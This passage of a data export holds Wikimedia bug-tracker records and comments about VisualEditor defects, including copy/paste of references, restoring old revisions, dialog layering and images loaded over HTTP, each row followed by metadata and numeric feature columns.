+I'm not sure what language this is (French, maybe?), but my account is set to use English and the site is supposed to be in English.",,,1370897328,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6dfe6wmnmfcjqgh27brf,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0
+51396,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Create a document:
+
+Foo <ref>Bar</ref> Baz
+<references />
+
+=>
+
+Foo [1] Baz
+1. Bar
+
+
+==Test==
+1. Select and copy from '[' to ']' (no whitespace)
+2. Try to paste
+3. Note you now just have plain text [1]
+4. Note also if you make a larger selection (e.g. from 'o' to 'B'), copy/paste works fine.
+
+This might be to do with whitespace truncation, and probably applies to other inline nodes.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52271
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54410",High,80.0,1370888760,1415030920.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_description,resolved,True,c1,2,True,False,False,-3,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+251023,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"No, this was and remains fixed. Test in Chrome or Firefox, for example.",,,1415030920,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,70,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+251018,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"I think this is still occurring (https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox&diff=68973564&oldid=68973535 ).
+I'm using Safari, and I don't know if this is related to Bug 70143.",,,1415020432,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,70,,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+251012,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 83222 merged by jenkins-bot:
+The Great [...] Rewrite of 2013: Clipboard edition
+
+https://gerrit.wikimedia.org/r/83222",,,1378923314,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+251008,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 83222 had a related patch set uploaded by Esanders:
+The Great [...] Rewrite of 2013: Clipboard edition
+
+https://gerrit.wikimedia.org/r/83222",,,1378548154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+251003,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"This is still broken in FF, see bug 53375",,,1377643048,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+250998,VisualEditor: Can't copy/paste a reference or template unless you select text either side,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377634922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+250993,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 80301 merged by jenkins-bot:
+Copy-paste data fixes
+
+https://gerrit.wikimedia.org/r/80301",,,1377634864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250989,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"Change 80301 had a related patch set uploaded by Jforrester:
+Copy-paste data fixes
+
+https://gerrit.wikimedia.org/r/80301",,,1377546588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250982,VisualEditor: Can't copy/paste a reference or template unless you select text either side,https://gerrit.wikimedia.org/r/#/c/80301/ fixes,,,1377544792,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+250975,VisualEditor: Can't copy/paste a reference or template unless you select text either side,Note this behaviour also occurs with templates,,,1376695565,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+250965,VisualEditor: Can't copy/paste a reference or template unless you select text either side,*** Bug 52212 has been marked as a duplicate of this bug. ***,,,1375134084,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250955,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"**bi.llybob** wrote:
+
+Note that, at least in Chrome, whitespace is <i>not</t> enough to count as additional text.",,,1373170390,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1
+250945,VisualEditor: Can't copy/paste a reference or template unless you select text either side,*** Bug 50594 has been marked as a duplicate of this bug. ***,,,1372794209,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51390,VisualEditor: Restoring oldids broken,"On attempting to edit and restore an oldid, everything works fine (oldid contents appear, diff shows correct wikitext change, etc.) but on save VE appears to send the wrong page version (presumably the 'newer' version that's meant to be replaced?) to MW so nothing gets saved.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1370882100,1371588446.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-465skcravcf5ewxwsyd2,task_description,resolved,True,c1,2,True,False,True,-3,,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,0,1
+250500,VisualEditor: Restoring oldids broken,Merged and will go out with next deployment.,,,1371588446,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+250494,VisualEditor: Restoring oldids broken,Related URL: https://gerrit.wikimedia.org/r/69344 (Gerrit Change Icacaa5101386e52309278c8d9871ca1193aa86a9),,,1371583097,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+250488,VisualEditor: Restoring oldids broken,Ed is exactly right. EditPage appears to set basetimestamp this way as well.,,,1371576196,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+250480,VisualEditor: Restoring oldids broken,"I can reproduce it. Tellingly, if you make a change and then press save you get an edit conflict. I suspect the problem is we are providing the timestamp of the version you choose to edit as the 'basetimestamp' which I don't think is right. When you hit save the API thinks all the versions ahead of the version you're editing were created since you loaded the page (hence the edit conflict scenario).
+
+I think 'basetimestamp' should always be populated with the timestamp of 'cur', regardless of which version you are editing, but would like confirmation from someone who knows the MW API better.",,,1371573224,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,True,,,-2,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+250473,VisualEditor: Restoring oldids broken,I can't reproduce this bug. I'll keep the assignment to Ed but it looks like this has been resolved in the mean time.,,,1371511602,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+51361,VisualEditor: Inspector buttons appear above save dialog,"1. Focus a node which triggers an inspector icon
+2. Hit save
+3. http://i.imgur.com/5YPyQL5.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49275
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49059",High,80.0,1370781420,1371766472.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_description,resolved,True,c1,2,True,False,True,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1
+249063,VisualEditor: Inspector buttons appear above save dialog,Merged and will go out later today.,,,1371766472,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+249055,VisualEditor: Inspector buttons appear above save dialog,Related URL: https://gerrit.wikimedia.org/r/69614 (Gerrit Change I2fbc4c8af943f1b096b8912191924961405d5c47),,,1371688630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+249048,VisualEditor: Inspector buttons appear above save dialog,Probably related: http://i.imgur.com/E5SFyv0.png,,,1370902428,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51307,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"Because we want to be able to make certain properties non-cloneable, e.g. in ve.dm.MWReferenceNode.prototype.getClonedElement we strip 'contentsUsed'.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1370612580,1372379856.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_description,resolved,True,c1,2,True,False,True,-4,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+245716,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,Fixed and will go live in a few minutes.,,,1372379856,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+245711,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"Change 70913 merged by jenkins-bot:
+Invoke getClonedElement() on each element on copy
+
+https://gerrit.wikimedia.org/r/70913",,,1372372301,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245703,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"""We should verify...""",,,1372366801,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0
+245696,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"We should very that copy/pasting a named reference with contents, doesn't copy the contents.",,,1372366747,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,True,,,-1,,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+245691,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"Change 70913 had a related patch set uploaded by Catrope:
+Invoke getClonedElement() on each element on copy
+
+https://gerrit.wikimedia.org/r/70913",,,1372365026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+51284,VisualEditor: Review dialog obfuscated by phantoms,"Screenshot of VisualEditor on the English Wikipedia using the Monobook skin, 2013-06-06
+
+VisualEditor's review dialog box can be obfuscated by the green striped area from restricted areas of a page. This is when using Monobook, at least. Maybe Vector too, I don't know. I've attached a screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11508}",High,80.0,1370571600,1372084364.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ypcnrwup72gw33jiae5x,task_description,resolved,True,c1,2,False,False,True,-4,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+244237,VisualEditor: Review dialog obfuscated by phantoms,"We solved this specific issue as part of the minor re-work of the save dialog, but see bug 50096 and bug 49059.",,,1372084364,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ypcnrwup72gw33jiae5x,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+244231,VisualEditor: Review dialog obfuscated by phantoms,"Yes, this is a mess; phantoms' z-index is higher than the review panel (which is bad), and trigger when the mouse moves over them even though you're in a ""different"" interface component. This would be solved by switching to the new dialogs (as they're iframes), but we don't have time for that.",,,1370622142,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ypcnrwup72gw33jiae5x,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0
+51283,VisualEditor: Images loaded over HTTP unconditionally,"https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit
+
+When I go here currently, I get HTTPS warnings.
+
+---
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
+ Jeffrey_Chiesa:1
+---
+
+action=view is fine (no console warnings). When I go to veaction=edit, the console fills with warnings. It looks like VisualEditor is loading thumbnails unconditionally through HTTP. This should be changed to be protocol-relative.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit",High,80.0,1370571480,1371576350.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_description,resolved,True,c1,2,False,False,True,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+244180,VisualEditor: Images loaded over HTTP unconditionally,"
+
+*** This bug has been marked as a duplicate of bug 43015 ***",,,1371576350,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+244174,VisualEditor: Images loaded over HTTP unconditionally,"This is odd - I thought this was fixed, but I can reproduce on enwiki but not on MW.org.
+
+I think this may be fixed by the new image code the Inez has written (which is still 'experimental' and so not available in production except for MW.org). Will check with him and update you.",,,1370621859,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hljkwvij7ri6zsnlv4ny,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0
